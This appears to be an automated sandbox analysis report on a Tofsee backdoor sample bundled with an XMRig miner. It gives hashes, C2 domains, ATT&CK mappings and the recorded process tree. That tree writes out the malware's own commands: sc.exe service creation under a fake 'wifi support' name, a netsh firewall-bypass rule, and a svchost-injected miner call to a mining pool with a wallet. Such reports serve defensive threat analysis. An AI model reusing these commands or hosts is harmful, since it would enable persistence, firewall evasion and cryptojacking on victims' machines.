Analysis

  • max time kernel
    151s
  • max time network
    159s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    24-09-2022 20:03

General

  • Target

    ecb302e999e0959abd9bdd330401ea9f.exe

  • Size

    196KB

  • MD5

    ecb302e999e0959abd9bdd330401ea9f

  • SHA1

    529e9342005a6295d865fa4d1188126229b2a0bd

  • SHA256

    eb6bda9737c6ace5c9f38b44dba312f18fe0bf044b4848817c17b4e1a74d90b9

  • SHA512

    1f084be926b1fe6f68bc0637e762c4d407a6f8b8d8a90b3f9157120beca96409d0cba495675f9fe1490f4c61840c96762d364ecb2dd27ac2376a4e526c38639f

  • SSDEEP

    3072:D1nI7LRgcLJA5gRrHSq6yz7F52jPaiPGONFHNRJtBc94al+/PkkXx:SLtLR5/hnSjSi+ONFtRKBl

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe
    "C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ysjksyvm\
      2⤵
        PID:884
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ojtpdot.exe" C:\Windows\SysWOW64\ysjksyvm\
        2⤵
          PID:1592
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ysjksyvm binPath= "C:\Windows\SysWOW64\ysjksyvm\ojtpdot.exe /d\"C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ysjksyvm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1336
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ysjksyvm
          2⤵
          • Launches sc.exe
          PID:560
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:752
      • C:\Windows\SysWOW64\ysjksyvm\ojtpdot.exe
        C:\Windows\SysWOW64\ysjksyvm\ojtpdot.exe /d"C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:648
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:272
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
              PID:944

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Persistence

        New Service

        1
        T1050

        Modify Existing Service

        1
        T1031

        Registry Run Keys / Startup Folder

        1
        T1060

        Privilege Escalation

        New Service

        1
        T1050

        Defense Evasion

        Disabling Security Tools

        1
        T1089

        Modify Registry

        2
        T1112

        Discovery

        System Information Discovery

        1
        T1082

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\ojtpdot.exe
          Filesize

          10.8MB

          MD5

          e6830fb7093fdafaf14e1f816714c3bf

          SHA1

          a1bc3fdf269db074f6a7b35a92270b364b5fcf34

          SHA256

          56080488f06f6a42257f5708095885717a90bc32432b300614b984c3a7365e34

          SHA512

          095bea6b9cd11d20fdfb1b83ed45de7ec158f861805edf0a6a2f3922e52124abac0c00e0ed57261d75733a2b1ffed57248b7595984a9176e918f406177c05f84

        • C:\Windows\SysWOW64\ysjksyvm\ojtpdot.exe
          Filesize

          10.8MB

          MD5

          e6830fb7093fdafaf14e1f816714c3bf

          SHA1

          a1bc3fdf269db074f6a7b35a92270b364b5fcf34

          SHA256

          56080488f06f6a42257f5708095885717a90bc32432b300614b984c3a7365e34

          SHA512

          095bea6b9cd11d20fdfb1b83ed45de7ec158f861805edf0a6a2f3922e52124abac0c00e0ed57261d75733a2b1ffed57248b7595984a9176e918f406177c05f84

        • memory/272-83-0x00000000000A0000-0x00000000000A6000-memory.dmp
          Filesize

          24KB

        • memory/272-86-0x00000000000B0000-0x00000000000C0000-memory.dmp
          Filesize

          64KB

        • memory/272-80-0x0000000001B00000-0x0000000001D0F000-memory.dmp
          Filesize

          2.1MB

        • memory/272-70-0x0000000000080000-0x0000000000095000-memory.dmp
          Filesize

          84KB

        • memory/272-72-0x0000000000080000-0x0000000000095000-memory.dmp
          Filesize

          84KB

        • memory/272-95-0x0000000000280000-0x0000000000287000-memory.dmp
          Filesize

          28KB

        • memory/272-92-0x0000000005400000-0x000000000580B000-memory.dmp
          Filesize

          4.0MB

        • memory/272-79-0x0000000000080000-0x0000000000095000-memory.dmp
          Filesize

          84KB

        • memory/272-89-0x00000000000C0000-0x00000000000C5000-memory.dmp
          Filesize

          20KB

        • memory/272-106-0x0000000000080000-0x0000000000095000-memory.dmp
          Filesize

          84KB

        • memory/272-73-0x0000000000089A6B-mapping.dmp
        • memory/560-63-0x0000000000000000-mapping.dmp
        • memory/648-78-0x0000000000400000-0x000000000058B000-memory.dmp
          Filesize

          1.5MB

        • memory/648-75-0x000000000064B000-0x000000000065C000-memory.dmp
          Filesize

          68KB

        • memory/752-66-0x0000000000000000-mapping.dmp
        • memory/884-57-0x0000000000000000-mapping.dmp
        • memory/944-100-0x00000000001F0000-0x00000000002E1000-memory.dmp
          Filesize

          964KB

        • memory/944-98-0x00000000001F0000-0x00000000002E1000-memory.dmp
          Filesize

          964KB

        • memory/944-105-0x000000000028259C-mapping.dmp
        • memory/1336-62-0x0000000000000000-mapping.dmp
        • memory/1488-61-0x0000000000000000-mapping.dmp
        • memory/1592-59-0x0000000000000000-mapping.dmp
        • memory/2036-58-0x0000000000400000-0x000000000058B000-memory.dmp
          Filesize

          1.5MB

        • memory/2036-68-0x0000000000400000-0x000000000058B000-memory.dmp
          Filesize

          1.5MB

        • memory/2036-54-0x0000000075521000-0x0000000075523000-memory.dmp
          Filesize

          8KB

        • memory/2036-67-0x00000000006DB000-0x00000000006EC000-memory.dmp
          Filesize

          68KB

        • memory/2036-55-0x00000000006DB000-0x00000000006EC000-memory.dmp
          Filesize

          68KB

        • memory/2036-56-0x0000000000220000-0x0000000000233000-memory.dmp
          Filesize

          76KB